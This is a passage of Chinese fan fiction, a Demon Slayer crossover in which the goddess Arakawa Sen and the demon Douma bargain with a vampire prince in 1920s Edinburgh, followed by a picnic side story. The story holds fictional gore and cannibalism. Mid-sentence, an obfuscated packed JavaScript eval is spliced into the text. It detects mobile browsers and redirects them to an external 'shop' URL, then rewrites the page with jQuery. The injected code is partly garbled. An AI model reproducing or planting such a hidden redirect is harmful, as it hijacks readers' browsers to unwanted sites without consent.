“唉,你果然什么都不懂,东洋来的小女孩。”她叹息道,“你知道吗?你闻起来就像一块香喷喷的小蛋糕。” 夜莺小姐的脖子伸长到不可思议的程度,简直像浮世绘里画的飞头蛮。她的脸离我越来越近,红卷发垂到了我脸上。 正当她张开嘴,露出四颗和童磨很相似、但明显要尖细的多的獠牙时,脑袋突然不受控制的歪向一边。 “哎?怎么回事…”夜莺小姐使劲想把自己的头扭回来,却控制不了身体,因为覆盖在她脖子上的植物正在疯狂而胡乱的生长,支撑起她身体的那些树枝也一样。 她当我是什么?我除了是水神,还是山林草木之神。只不过远离了日本,我理所当然地认为自己的力量肯定大不如前,所以没有动用过神明之力。 “你…你是怎么…!”夜莺小姐拼命转过脸,现在她的眼睛已经完全是绿色了,且失去了瞳仁,看起来极为诡异。 “我说过的,我们和你们不一样。”我从纠结的树枝间抽出手来,反手握住身边支撑她身体的枝条,手上流转起金色的灵光。 “向上长。”我轻声说。 刹那间,所有的树枝和藤蔓都扭转了180度,开始向着天花板生长,它们把夜莺小姐的身体越顶越高,直到把一脸震惊的她牢牢地“粘”在了天花板上。 “这也太犯规了吧!”夜莺小姐冲我大叫,“你对我的圣橡树做了什么?!” 圣橡树?指的是她身体里这棵树吗?仔细看的话确实是橡树的叶子… 但这棵树好像在哭泣。 身为神明,我很少能感受到强烈的负面情绪,但从那些枝条中喷涌而出的,是某种巨大的悲伤。眼前全是肆虐的火光,有什么人在声嘶力竭地尖叫。那毁灭瞬间的痛苦和绝望冲击感极强,让我差点喘不上气。 是这树的意念或是记忆吗?无论是什么,现在都没时间深究。 我抓起剑跳起来,几步冲到童磨身边,刚要挥剑,就看扑来的两人在我眼前跪倒在地上,脖子突兀地被血色的冰刺刺穿,却还没死透,喉咙里发出咯咯的声音。 童磨笑嘻嘻地挥了挥扇子。几根冰莲蔓爬上他们的身体,只是轻轻一扭,他们的头就掉了下来,身体也随之解体。 没过一会儿,冲进来的几十个布鲁赫长老的手下已经大多变成了地上散落的一滩滩血肉,剩下的几人好像终于意识到了眼前这个白发男人的可怕,嘴里嘟囔着一个词,不敢再上前。 我听懂了,他们说的那个词,是英文里的“恶魔”。 ”诶呀,真是可怜呐,原来你们都是不会血鬼术的哦?” “恶魔”用扇子掩住半张脸,那双冰晶般剔透的彩虹瞳里一丝情绪也没有,仿佛某种不属于这个世界的生物。 我只觉得屋子里的血腥气浓到令人难以忍受,只想赶快离开这里。 “亲王殿下!请您宽恕我们!” 终于有人喊了出来。”我们虽然是布鲁赫长老的后裔,但一直都是被逼无奈!就算知道他暗中和教会勾结我们也无能为力啊!”“对对,是他常说,他才是我们的封君,我们只对他有尽忠的义务!”“我们绝对没有背叛您的意思,殿下!” 啧,人刚死,见不得光的事就全都被揭露出来了,看来这些西洋人的君主和下属之间也不是那么简单呢。不过看来他们的赐血者就算死了,也不会影响后裔的生存? 但有一点我能确认,那就是无惨大人虽然残酷无情,但在他的手下培养出的上弦鬼,比这些只吸人血的西洋血族要强大的多。 当然,童磨不能算一只正常的鬼。 “以圣莉莉丝之名,我宽恕你们,但你们必须在长老会面前忏悔,接受‘禁食’的惩罚。” 罗曼亲王站了起来,虽然外表是老人,他的气势却犹如一位国王。他缓缓踱了过来。 “荒川小姐,”他略带生涩地说出了我的名字,“请看在我的面子上,把我女儿放下来吧。” “不需要先把这些人处理掉吗?”我冷然道,“虽然很讨厌初来贵地就被你们当刀用的感觉,但这些人如果活着出去只会给我们制造麻烦,我没有多余的同情心花在他们身上。” “凯瑟琳说的没错,你真是位作风强硬的小姐。”亲王微笑道,“但这是我们这里的规则,败者只要公开表示臣服,胜者就不能赶尽杀绝,血族一直依靠这样的规则才能存在数千年之久,但这些人会受到禁食五十年的惩罚,忍受饥饿和虚弱。” “在我们那里败者一般是要切腹的。”我笑了笑,提高声音说道,“夜莺小姐,你认输吗?” “要我认输可以,你得先告诉我你是怎么做到的。” 被自己的异能力禁锢住的凯瑟琳依然嘴硬,她的眼睛恢复了正常的蓝绿色,脑袋耷拉下来,看起来怎么都有点凄惨。 “哦,那你就在天花板上粘着吧。”我说。 “你怎么能这样对我!”她居然尖叫起来,“Douma,你女朋友一定是嫉妒我们的亲密才这么报复我的!” 什么嘛!这女人好过分,居然挑拨离间? “你别胡说八道!”我忍不住说,“我们之间是…” “对哦,小染超——可怕的~”童磨嬉皮笑脸地说,“所以我们家都是她说了算。要不要认输呀小夜莺?” 这还差不多…等等,这话听起来好像哪里有点奇怪? 夜莺小姐总算不情不愿地认了输,于是我们换了一间宴会厅继续这场充满刺激的晚宴。对,他们这群西洋血族有钱到令人发指,辛克莱尔城堡里光宴会厅就有三个。 但所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252393|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谓晚宴实在是名不副实…如果新鲜的生鹿肝算前菜,那么当身后站的两排十四五岁的男孩女孩们轮番割破手腕,把盛满鲜血的水晶酒杯端上来时,我就更后悔接受他们的邀请了。 好怀念浅草路边料亭的拉面… “你不吃吗?”凯瑟琳用银餐刀切着盘子里的鹿肝,“这可是我的最爱。” “谢谢,我更愿意吃熟的。” “玛丽,告诉厨房给我们的客人把肉烤熟再端上来。” 算她还有点良心… “你们这边的法律…允许这种事?” 我扫了眼身后年轻的男孩女孩们,他们脸上一片平静,乃至麻木,似乎对眼前的“宴会”习以为常。 凯瑟琳将一小块肝脏送进嘴里,用餐巾擦了擦嘴角的鲜血,“法律管不着这个。战争加上大流感,英国一下子多出几十万孤儿,能有面包吃、有地方住,他们才不在乎做什么呢。” “…就不担心他们把这里的事说出去吗?” “这些孩子平时都住在城堡里,等到满十八岁,我会用‘魅惑’抹掉他们的记忆,放他们出去生活。只有前些天守卫换班时跑出去一个,还被这家伙给吃了。” 她用叉子指指童磨,后者正望着身边端着酒杯的金发少女,露出一脸悲色。 “可怜的孩子,一定经历了很多痛苦的事吧?”职业病犯了的极乐教主轻柔地说,“这样的话,还是去往极乐世界比较幸福…” “真看不出来,你这种人还信宗教啊?”凯瑟琳吃惊地说,“血族没有灵魂,所以我们死了就是死了,既不用上天堂也不用下地狱,没人信那东西。” “难怪你们看起来一点也不好吃。” 童磨回过头,笑容天真又残忍,“既然大家勉强算是同类,我就实话实说啦。人家以前也当过无惨大人的‘目付’,就是负责监视其他鬼的工作,但我不喜欢别人干涉我做事的方式哦,所以到底都有些什么规则,还请阁下事先说明才好。” “合理的要求。”罗曼亲王点了点头,放下酒杯,“英国血族的基本规则是,除非自身生命受到威胁,或是遇到叛乱的情况,血族内部不允许自相残杀。我们也不鼓励杀死人类的行为,因为那样违背了避世原则,会为我们招致仇恨。” “原来如此,完全能理解大家想和人类好好相处的心情呢,虽然在我看来你们也太可怜了。”童磨眯起眼睛,单手支着脸颊笑道,“上位者理应体谅下位者的心情,不可太过苛刻,但被下位者束缚了手脚,被迫讨好于人,又算什么事嘛?” “你误会了,这不是讨好人类,而是我们自愿被前人共同建立的规则所束缚,因为一切规则最终都是为了我们自身的长远利益着想。” 罗曼亲王的灰眼睛中透出深邃的光。 “是规则和律法让血族区别于野兽,让我们在教廷的六百年追杀中团结一致,得以存活至今。虽然现在的年轻人越来越不愿意遵从古道了,但相信我,那些时间和生命堆积出的智慧对你们有好处。” 他顿了顿,又说道:“我在这世上活了很久,第一次见到你这样特别的孩子。孩子,你很强大,但你必须学会遵守规则,因为只有遵守规则的人,才能被规则的世界所接纳,并从中得到自己想要的东西。” “唉,果然无法理解你们这些西洋人呢。”童磨装模作样地叹了口气,“但在我看来,阁下你也不是遵守规则的人嘛,而且…”他饶有兴致地看着亲王,“阁下也有想要实现的宏愿吧,我看的出来哦~” “这也是你的能力吗?”凯瑟琳眯起那对猫似的绿眼睛,舔了舔嘴角的鲜血,“我还真是小看你了。” “是之前工作的原因啦,从小到大,我见过怀着各种各样的愿望来拜见‘神明’的人。” 鬼用戏谑又略带空洞的语气说道。 “这世上每个人都有愿望,不存在完全没有愿望的人,而哪怕是虚幻的愿望,也足以让人执着千年的时间…” “而我恰好是个善良的人,最喜欢帮大家实现愿望了~”他转眼便笑的一脸纯良,“阁下的愿望是什么,说来听听吧?” “所以你同意接替’监察者‘的工作了?同意的话,我们就先干了这杯。” “我不同意。”我打断了她。 凯瑟琳不高兴地撅起嘴:“小宝石,你又来了,东洋人都像你这么难相处吗?” “所谓的‘监察者’,只是替你们处决同类的刽子手而已,要替你们背负所有的杀孽和恶名,这种工作请恕我不同意童磨接受。” 我没理会她,而是看着罗曼亲王,“我们并没有看到你们的诚意,也不了解这里的情况,况且我们来英国只是想见识下西洋的世界而已,凭什么要接受这种莫名其妙的工作?” “诶…”鬼发出了委屈的声音,“不行啊,我记得小染说过哦,要是我不努力工作的话,你就会跟有钱的贵族跑了也说不定呢,所以人家可是很认真地在找工作哦~” “那是开玩笑的,我可以赚钱养你。” 现场安静了几秒钟,童磨忽然笑出了声。 “诶呀诶呀,还是第一次听到这种可爱的说法呢!我明白啦,不接受就不接受吧!”他将杯子里的血一饮而尽,然后慢悠悠地站了起来,“既然如此,咱们就不要浪费人家的时间了,走啦走啦~” “等等。”罗曼亲王一动不动地看着我:“提出你的条件吧,荒川小姐。” “您为何如此坚持呢,殿下?”我笑道,“难道真被他说中了,您有想要实现的愿望?” 他没说话,只是做了个“请”的手势。 “为你们工作不是不可以,但是是作为合作者,是否接受安排的工作由我们自己决定。” 我坐回椅子上,正色道,“杀戮之事仅此一次,其他若非必要,不论对象是谁,我们都有权拒绝。” “还有吗?” “所有相关情报都必须事先告知我们,否则我们也有权拒绝工作。其他条件我想好了会写成契约给您过目。” “荒川小姐,看来你不仅是个强硬的姑娘,也是个相当聪明的姑娘。” 面前的老人脸上露出了笑容,但令人无法忽视那笑容深处的寒意。 “我们想要夺回原本属于血族的地位和自由,但必须是以我们自己的方式。你们愿意加入吗?在英国这片土地上,我能给你们提供的帮助将远远超出你们的想象。” “阁下果然有个了不起的愿望,我很期待您得偿所愿哦~”童磨握着扇子笑眯眯地说,“既然这样的话,小染,把‘那个’给他们看看吧。” “所以…就是这种花?” “对,这就是青色彼岸花。” 我将那株刚刚开放的青色花朵递给凯瑟琳看:“但这东西开放的时间非常短暂,尤其在这里只能依靠我的灵力才能开花…诶,你这是干嘛?” 面前美艳的红发女人嘴里叼着烟,从桌子底下抱出一只玻璃罐子,里面装着多半罐淡绿色的透明液体。 见我盯着罐子看,她咧嘴笑起来,尖牙闪闪发光:“不懂了吧?这是我特制的酊剂,能保存一切超自然动植物的标本,包括上面的魔法活性。” “魔…魔法?” “跟你说的灵力差不多吧,不是告诉过你吗,我是个生物学家,只要像这样把植物制作成标本,就能提取里面的成分了。” 凯瑟琳随手指了指身后摆满玻璃罐子的木柜,“我这里收藏了英国70%的超自然生物的标本,除了那些已经灭绝的,你能想到的我都有。” 哎?“生物学家”是这么厉害的职业吗? 我看着她利索地把青色彼岸花浸泡进罐子里,又抬头看了看四周,默默克制住了自己疯狂生长的好奇心。 足有几百坪的宽敞房间中,四面墙都是书架和柜子,中间的长桌子上摆满我没见过的实验仪器,只能认出黄铜做的地球仪和叫作“显微镜”的东西。房间一角,旋转的楼梯通往二层的玻璃花房,那里装着能用电控制的遮光帘子,里面种满各色花草,还养着几笼子我没见过的鸟,吱吱喳喳叫个不停。 “你不像我在画报上见过的东洋人。” 夜莺小姐吐了口烟出来,不知道她抽的是什么东西,气味辛辣,呛的我扭过脸去。 “抱歉,看来你对马鞭草有点过敏。”话虽如此,她可一点也没有把烟灭了的意思。 “你也不像我见过的英国人。”我捂着鼻子翻了个白眼,“英国女人都很优雅,你简直就像个…” “见鬼的英国女人,我是凯尔特人。” 她忽然粗暴地打断我。 我还是第一次听到“凯尔特”这个词,不禁愣了下。“抱歉,我初来乍到,从未听说过…那是什么?” 凯瑟琳手指间夹着烟卷,不知道是不是常年浸泡在药剂里的缘故,她尖尖的指甲染成了深绿色。 “凯尔特人才是这片土地的主人,我们是圣橡树和鹿角神的儿女,当然,那是好几百年前的事了。” 她长长的、金红色的睫毛在脸上投下鸦翅般的阴影,语气变得冷漠。 “我是族里的女巫,英格兰人杀光了我的族人,从我怀里抢走我三岁的女儿,把她丢进了火里。我想向他们复仇,才求罗曼转化了我。” “我杀了那支小队的所有人,撕开他们的喉咙,喝干他们的血,之后的几十年我都在想方设法杀死更多的英格兰人,人类的身体在我面前就像稻草一样脆弱,但那有什么用?他们的人越来越多,我们的土地被侵占,我们的圣橡树被烧成了灰,一切都回不来了。” “直到有一天罗曼说,该适可而止了,如果继续下去,我就会变成和那些英格兰人一样的野兽,而我们是血族,不是野兽。” “我们不是野兽。”她重复了一遍,不知在说给谁听。 “你身体里的树就是这么来的吗?”既然对方坦诚相告,我也决定坦诚一点,“那棵树靠吸收你的生命力为生,你为什么不把它种回土地里呢?” “种回土地里?”凯瑟琳冷笑,“你知道那些基督徒对我们的土地做了什么吗?他们故意在我们的圣地修建教堂,用来镇压他们所谓的异教神,乃至吸取它们的力量。圣橡树不是普通的树,必须生长在特定的地点,苏格兰现在已经没有那种地方了。这是仅存的一颗种子,我能做的只有用‘绿人’的魔法把自己的身体转变成它的容器。” “那些人…他们为什么要做出这种事呢?”我对这种事闻所未闻,只剩震惊,“为什么要镇压别的神灵?” “我不知道。谁知道呢?可能他们的上帝知道吧。” 夜莺小姐的脸上浮起了一个轻蔑的笑。 “但那些蠢货永远都不会知道,我会活下去,我的身体就是我们一族的墓碑。” 我一时不知说什么才好,心中再次感叹,这世上果然还有很多我不知道、乃至从未想象过的人和事,在这片陌生的土地上,也有背负着某个沉重的“信念”而活下去的人。 “不过我不明白的是,你也算是个异教神吧?”凯瑟琳掐灭了烟,问道,“为什么在这里还能使用你的能力?” “我也不是很清楚…”我摇了摇头,“可能是因为我…” 因为我体内有那只鬼的血吗? 一想到这个答案,连我自己都吓了一跳。鬼血能对神明的身体造成什么影响,这种事根本没人知道,因为无论从什么角度而言,鬼的血都是污秽之物,理论上根本不可能产生好作用,我却似乎没有受到任何影响,即便在这异邦的土地上,灵力也丝毫没有减退。 或许又是因为…那只鬼比较特别? 也难怪,毕竟童磨大人是连下地狱都能蹦哒的更欢的神奇生物。 “既然以后要一起工作,不如咱们交个朋友吧,我的名字是荒川染。”我按西洋礼节向夜莺小姐伸出手去,“你可以叫我荒川或者染,但不准再叫什么小宝石,那个词太恶心了。” “哦,亲爱的,我乐意叫你什么就叫你什么,这是我的自由。”凯瑟琳耸耸肩,“比如我现在就想叫你小蛋糕,因为你闻起来好香,你们那边的神都这么香吗?” ……收回刚刚对她产生的便宜同情心吧,现在我开始讨厌这西洋女人了! 一只柔若无骨的手却在此时握住了我的手。“我喜欢你,你们两个都是我的收藏品。”夜莺小姐冲我暧昧地眨了下左眼。“但仅仅是收藏品。想做女巫的朋友,你的命得够硬才行,小神灵。” 马车停在王子街附近的小巷子里的时候,已经是上午八点多了,但冬天的爱丁堡天色还是一片漆黑,只有一盏盏暖黄色的煤气灯在清晨凛冽的风中摇晃。好在常去的小咖啡馆已经开门了,我买到了新出炉的苹果派,顿时感到人生圆满,眼前就是极乐…啊不,天堂。 “好香啊…”捧着纸袋子里的苹果派深深吸了口气,咬了一小口,滚烫的、带着肉桂味的馅料混合着派皮浓郁的黄油香,让人心情好到无以复加。 刚开心了一秒,手里的袋子就消失了,抬头一看,某只鬼已经把我的苹果派叼在了嘴里。 我跳起来伸手就抢,“你不是不爱吃甜食吗?还我啦!” “小染吃东西的样子看起来很幸福哦,人家也要试试看~”童磨一边左躲右闪,一边不客气地张嘴就咬,“啊,好烫~” “烫死你才好!下次我要在里面下毒!”我气的眼泪都出来了,下一秒被啃掉一半的苹果派又被塞回了我手里。 “小染不开心,就变得不好吃了呢~”鬼笑嘻嘻地揉了揉我的头发,“呐,不要不开心嘛,还给你啦~” 我懒得跟心理年龄八岁的鬼一般见识,于是继续吃着我的点心,跟他往家的方向走。路上的积雪未化,踩上去咯吱咯吱响,送报纸的小孩骑着脚踏车风一样地冲过去,我才发现已经有不少人出门上班了。 “没想到你居然比我先找到工作,真没天理啊。”我忍不住感叹,“虽然看出他们对你图谋不轨,不过你居然敢出手杀了那个什么长老,就不怕亲王翻脸嘛?” “那位阁下并不是甘于忍耐的人哦。”童磨不紧不慢地说,“刚见到他时我就看出来啦。” 我停住脚步:“怎么看出来的?” “是画哦。” “画?” “他椅子后面挂的那幅画,如果我没记错的话,是《劫掠萨宾女人》。” 鬼的嘴角微微挑起,冰晶般的瞳孔中泛着冷光。 “小夜莺说过那位阁下是罗马人,看来他应该很怀念那个时代的事吧。就像很多武士都会在家里挂着类似‘关原合战图‘那样的画,以前常听他们说‘要是有仗打就好了’,可惜呀,连幕府都早就不存在了,那些人应该很难受吧。” “人的欲望真的很有趣啊,小染,就算变成了非人的存在,还保留着做人时的执念。”他轻轻一笑,“这是多么可悲的事呀…” “等等!”我忍不住打断他的长篇大论,“我才是做古董生意的诶!那幅画连我都没见过,你到底什么时候了解的?” ”诶?在伦敦的时候咱们住的地方附近不是有个…叫什么来着…对了对了,‘图书馆’嘛?” “图书馆?”我瞠目结舌,“你还去过图书馆?” “还不是因为那时小染总是出门工作,人家自己一个人在家无聊嘛。”鬼居然委屈地说,“就把那边的书都看了一遍,不过很多洋文书也看不懂啦。呐呐,刚刚小染说要养我,是真的吗?” 我被问的一愣:“也、也不是不行吧?西洋女性早就可以工作养家了,虽然现在赚得少,但我有在学习鉴别古董的知识,保罗说我很快就可以去拍卖行工作了哦。” 说罢我掰着手指头算了算: “现在家里的钱也是我管着,只要你别太浪费了,我觉得我还是养的起你的…” 鬼马上露出一脸看不起人的坏笑。 “不行啊,那明明是在拿我的钱养我嘛!” 我有点没底气地说:“暂时是这样,但我会努力的!” “诶…这种感觉好奇怪呀…” “什么感觉?” “暖暖的,甜甜的,难道这就是小染之前说的幸福的感觉吗?”鬼假惺惺地擦了把眼泪,“简直太感动了!拜托小染一定要养我!” “…你只是想偷懒不干活而已吧!” “人家已经很努力啦,这不是都找到工作了嘛~” “不过…果然还是不一样啊,”他歪了歪头,露出不解的神色,“小夜莺他们说的什么‘规则’,听起来好奇怪哦,什么不鼓励杀死人类,让我想起猗窝座阁下怎么也不肯杀女人的事呢。” 幸好到家门口了,周围没什么人,否则这种话被邻居听见怕是要报警。 哦,忘了他们听不懂日语。 “不杀女人不好吗?”我掏钥匙开门,“这是基本的人类道德吧。” “下位者被上位者吞噬,弱者被强者践踏,坏人飞扬跋扈,想做什么就做什么,善良的人总是遭到蛮不讲理的对待,难道不是这世间的常理吗?人类不都是这么干的吗?” 童磨的声音波澜不惊,乃至透出一丝冷意。我回头看去,见他脸上只剩淡漠,那双花火般绚丽的眼睛垂下去,寂静地好像冬日里冰封的莲池。 “现在想想,我应该告诉信徒们实话吗?告诉他们极乐世界根本不存在,告诉他们必须忍耐下去,忍耐没有尽头的工作,忍耐年贡和武士的欺压?告诉那些女孩子忍耐婆家的打骂虐待,直到因为一点小事就被卖到花街、毫无意义地死去?那样明明才更残忍吧?” “小染,我以前觉得他们可怜,现在我觉得他们只是运气不好,生在了让他们变得可怜的时代而已。所以就算最后也没能给予任何人幸福,我也从没后悔过自己吃了他们。”他朝我笑了笑,“呐,小染会讨厌这样的我吗?毕竟大家好像都把我当成怪物呢,虽然不太能理解…诶?” 我用力地抱住了他。可能是从血族那里回来的缘故,衣服上还是沾染了淡淡的血腥味,但这味道我早已经习惯了。 堕落为鬼的神之子,不过是人类的替罪羔羊罢了。 “不要露出那种寂寞的表情啊…你没做错什么,只是你的做法人类无法理解而已。人类有人类的存在方式,鬼神有鬼神的存在方式,既然他们无法理解,不做就是了,我们本来也不需要人类的理解,况且幸福是每个人需要自己争取的东西,神明帮不了他们。” 壁炉没有熄灭,所以屋子里很暖和,空气里漂浮着苹果木的清香。隔着太平洋和大西洋的那个国家以及那里的一切,都遥远的好像一场幻梦。 我再也不会怀念那里,我知道他也一样。 “人类总觉得自己比其他生命更特别,但那只不过是因为他们拥有比其他生物更多的欲求和执念,自己给自己制造的幻觉而已。说到底,这些所谓的‘情感’,不过是因缘和合下的业果,人类受其所困,才无法真正抵达极乐世界,这也是人类的‘原罪’。而你从来不曾沾染这些‘原罪’,这其实是神之子的境界,是人类无法企及的境界。” 我抬起头,认真地盯着他,“童磨,听好了,不管别人说你什么,你都要记住我的话,你不是怪物,你也没有疯,正因为你是天生的神明之子,才和别人不一样。” “但是,我们不可以就此止步。我一直觉得,神明来到这个世上的目的是为了‘体验’。不论黑暗还是光明,恨还是爱,只有亲身体验过,才能理解什么是世界,什么是人类,以及我们自己是什么。所以,就当这是一场游戏吧,在游戏里去体会‘生命’这件事,这就是我们来到世上的意义。” “和我一起在这里活下去吧。”我拉住他的手,“我们都要努力呀!” 因为只有作为自己,认真地活过、得到过幸福,你才能明白“生命是宝贵的,要好好珍惜才行”这个在常人眼中浅显易懂的道理。 这是当年江户一别前,我没能来得及告诉你的话。 没能和你一起长大,真的对不起,但从现在开始,让我们像在地狱里那样,一起战斗,一起长大成人。 “唉,真拿小染没办法呀…”鬼做出一副无可奈何的表情,“那人家就勉为其难地试试看好了~嗯…不如咱们比赛赚钱吧?” “什、什么?” “对,从现在开始,到明年这个时候,看看谁赚到的钱更多!”面前的恶鬼脸上扬起一个灿烂的笑容,四颗尖牙全都亮了出来,“输的人要满足赢的人提出的任何要求哦,就这么办好啦!” “你以为我怕你啊?”我把手里的大衣往地上一扔,双手叉腰瞪着他。 可恶啊,这鬼怎么这么高! “比就比,先说好了,要是童磨大人输了,就给我老老实实学会吃蔬菜!” “啊啊,不要嘛~人家讨厌蔬菜啦~” “闭嘴!再挑食的话我就不管做饭了!” 人到底为什么会喜欢另一个人,穷尽百年的时间,我还是不知道这个问题的答案,就连人类自己,或许也只能感受到情感的冲动,而不知其原因。这也许就是人们常说的“缘分”吧。 人与人之间存在缘分,人与出生的地方、家庭、乃至种族和国家之间,也存在缘分,借由这种缘分,我们与不同的人相遇,产生名为“羁绊”的东西,并迎来各自的命运。所以西洋人有句谚语:每个人都背负着属于自己的十字架。这十字架是诅咒,也是祝福。 那是1925年冬天的事,一年后,大正天皇病逝,日本改年号为昭和,我们和这个世界,都进入了一个无法想象的时代。 117. 【520小番外】土用丑日 1926年,夏。爱丁堡。 “所以河童也是存在的吗?” “当然了,山里还不少呢。” 荒川染把最后一片紫苏叶塞进三明治里,郑重地放下手里的筷子。 “完成了!紫苏咸牛肉三明治!” 神明小姐像做出了什么创造世界的壮举一样宣告。 “诶…那是什么呀?” 童磨趴在地上,双手托腮,一脸迷惑。 “野餐要带的便当呀,我做了三种口味的三明治呢,有金枪鱼…” “都说了人家讨厌鱼嘛~” “好吧好吧,那个我自己吃,给你吃牛肉的总行了吧?” “诶…” 童磨在地板上滚了一圈。 “真的要去嘛?外面好热呀~”他撅起嘴巴,委屈地说。 “拜托!和东京比明明一点也不热啊!”荒川染着急起来,“是你把家里搞得像个存冻肉的冷库一样,才会觉得哪里都热吧!” 从入夏以来,这鬼就不怎么出门了,家里堆满了冰不说,还有两只御子一直在扇凉风。但爱丁堡的夏天明明也只有二十几度,对荒川染来说简直舒服的不行。 习惯成自然。在日本时童磨就很怕热,确切来说,是讨厌强烈的阳光,所以到了夏天就躲在山中的寺院里,几乎从不出门。荒川染知道他终究是鬼,就算吃了青色彼岸花,夏日的阳气依然太旺盛,多少会让鬼有点难受,所以往年的夏天都是陪他一起昼伏夜出。但到了苏格兰,因为纬度高,哪怕是夏天也常常阴天下雨,光照一点也不强烈,她觉得倒是个让这只鬼学着习惯正常生活的好机会。 “明明是小染自己想出去玩吧,因为买了新裙子嘛。”童磨枕着胳膊,笑眯眯地扭过头,“不过看起来很不错哦?” 荒川染低头看了看那条水蓝色的塔夫绸百褶裙,语气里颇有几分得意。 “很棒吧?西洋人可真会享受,这种裙子又方便活动又凉快,听说是今年伦敦流行的款式呢。” 虽然在东京时也穿过洋装,但走在街上总会被人以古怪的目光打量,报纸上甚至说日本女性不适合穿洋服,因为有伤风化也有害健康。直到来了英国,她才发现这边的女人穿衣服有多自在,夏天时满大街裸露的白胳膊让自认为已经相当开放的荒川之神很是惊讶了一阵子。 于是她也很快学会了用各种丝织衬衫搭配长裙的穿法,加上身材高挑,混在洋人女性里竟然也不显得突兀。 至于那只鬼,好像从没有过适应困难。荒川染看着敞开的衬衫领口下童磨那漂亮的肌肉线条,强迫自己移开了视线。 “你…你不要在地上滚来滚去的啊,这又不是榻榻米。” “诶?有什么关系嘛?”那只鬼笑的眉眼弯弯,“反正小染总是把地板擦的亮晶晶的呀~” 是啊,衣服弄脏了还是我洗呢。 荒川染翻了个白眼,为这狗男人接近于零的自理能力。 极乐教的神子大人从小过惯了衣来伸手饭来张口的日子,无论何时都有人侍奉,所以心思从来不在这些琐碎小事上,脑子也常常神游天外。第一次叫他帮忙买颗卷心菜回来做沙拉,她整整等了六个小时,等到童磨悠哉悠哉地回来,一问才知道半路遇到了教区的牧师先生,两人聊起了神学,从教堂门口一路聊到了酒馆,最后牧师先生痛哭流涕,表示从未见过如此高深的见地,邀请他有空一定要去给教众们讲解一番。 “所以你都跟他聊了些什么啊?”荒川染看着买回来的菜,难以置信地问。 “圣奥古斯丁的《上帝之城》,我认为里面的说法很有些问题哦。”那只鬼颇为认真地说,“话说回来,因为自己的城市被敌人烧毁而讨论到底该怪罪哪个神明,人类还真是一如既往地愚蠢呀~” “我看童磨大人的脑子也没有多灵光!”荒川染拼命忍住了把手里的蔬菜扔到他脸上的冲动,“这是芜菁,不是卷心菜!” 《论语》里有句话:四体不勤,五谷不分,她认为用以形容这位神子大人格外贴切。童磨在装神做鬼方面可谓天赋异禀,可在日常生活中完全就是个什么都没干过的大少爷,比她这个真正的神明还要不接地气。 思绪被腿上的一阵冰凉拽了回来,荒川之神低下头,看到童磨不知什么时候又滚了回来,正躺在她脚下,一只手握住了她光洁白皙的小腿,脸上的表情很是期待。 “好香呀,小染,人家饿啦~”鬼用撒娇的语气说,“要吃饱了才有力气出门~” 那双彩虹色的大眼睛眨了又眨,直到荒川染再也扛不住对方可怜巴巴的眼神。 “好啦好啦,”她心软了下来,“就给你吃一口,先说好了,吃完了就走,不许反悔。” “好呀~” 恶鬼露出獠牙,开开心心地对准神明的小腿一口咬了下去。 神明小姐的血肉带有特殊的香气,用童磨的话说,那是比稀血还要令人陶醉的香味,所以自打喜欢上了她的血肉,那只鬼对人类少女反而兴趣减退了不少。 “这就像是奶油蛋糕和黑麦面包的区别呀~”鬼天真坦诚地做出了评价,“小染肯定也更喜欢前者对吧?” …这挑食的家伙简直无可救药,唯一的好处是,他很少再狩猎人类,也在慢慢适应以血液来代替人肉。 开车出了爱丁堡城区,行驶在乡间小路上,荒川染坐在副驾驶喝着果汁,才庆幸自己总算是把这只懒鬼拽出了门。 因为眼前的景象真的太美了。 团团白云低垂在天边,一望无际的原野在眼前铺展开来,那是在日本时从未见过的广阔,连空气都清澈无比。 难怪一直有传言说,爱丁堡的绿野中藏着精灵的国度,那里的“场”就好像水晶般干净透明。 凯尔特人相信万物有灵,对于能“看得见”的荒川染来说,这里到处都是奇形怪状的小生物。 日本的森林里也是这样,充满了被人类称为“妖怪”的存在,但这里的“存在”明显又和那个遥远的岛国不同。 “诶诶,刚刚那个是什么呀?” 童磨好奇地一直扭头看。从地狱回来以后,他也和荒川染有了同样的“视野”,这为一向好奇心十足的他打开了新世界的大门,常常叽叽喳喳问个没完。 荒川染不得不一把抓住方向盘:“看着路啊童磨大人!我可不想像上次那样差点掉到悬崖下面…算了,还是我来开吧…” “不会啦~”鬼笑嘻嘻地说,“前面还有不远就到了哦~” 车子开进了起伏的丘陵地带,在绕过一座山后,茂密的森林和一条闪着银光的河流出现在视线中。 “夜莺小姐说的就是这里!”荒川染找了片树荫停好车,有点兴奋地说,“她说河里有很多鳗鱼哦!” “跑了这么远的路,就为了抓几条鱼,小染也太傻了吧?”童磨抱怨着,不情不愿地下了车,跟着荒川染朝河边走去。 “今年一定要做出成功的鳗鱼盖饭——这是我年初时制定的目标!”荒川染拎着野餐篮,索性脱了鞋子,赤脚踩在草地上,“好舒服啊!草地像地毯一样软,童磨你要不要试试?” 河边有棵巨大的橡树,荒川染在树下铺开了一张花格子棉布,将野餐篮中的东西一一拿了出来。 “江户人现在也还是会在土用丑日吃鳗鱼哦,你们公家人不懂。” “这话说的,人家的母亲大人早死啦,我自己可在江户住了一百多年呐,怎么就成了公家人啦?” 童磨歪在草地上,一手支着头,懒洋洋地笑道:“不过这景色很适合好好喝一杯哦~” “真拿你没办法。”荒川染把酒瓶和酒杯塞进他怀里,“等等,怎么还带了纸和笔?” “既然是出来欣赏美景,不作几首和歌怎么行?”鬼狡黠地眨眨眼,“这才是我们公家人的风雅嘛~” 荒川染噗的一下笑了。 “这样可不行啊,”她笑着弯下腰,摸了摸他蓬松的头发,“童磨大人这张嘴巴永远不饶人,是会被人讨厌的哦。” “没关系哦,反正大家都讨厌我嘛。” 鬼满不在乎地笑着说。 荒川染怔了怔,坐在了他身边。 “为什么会这么想呢?”她轻声说。 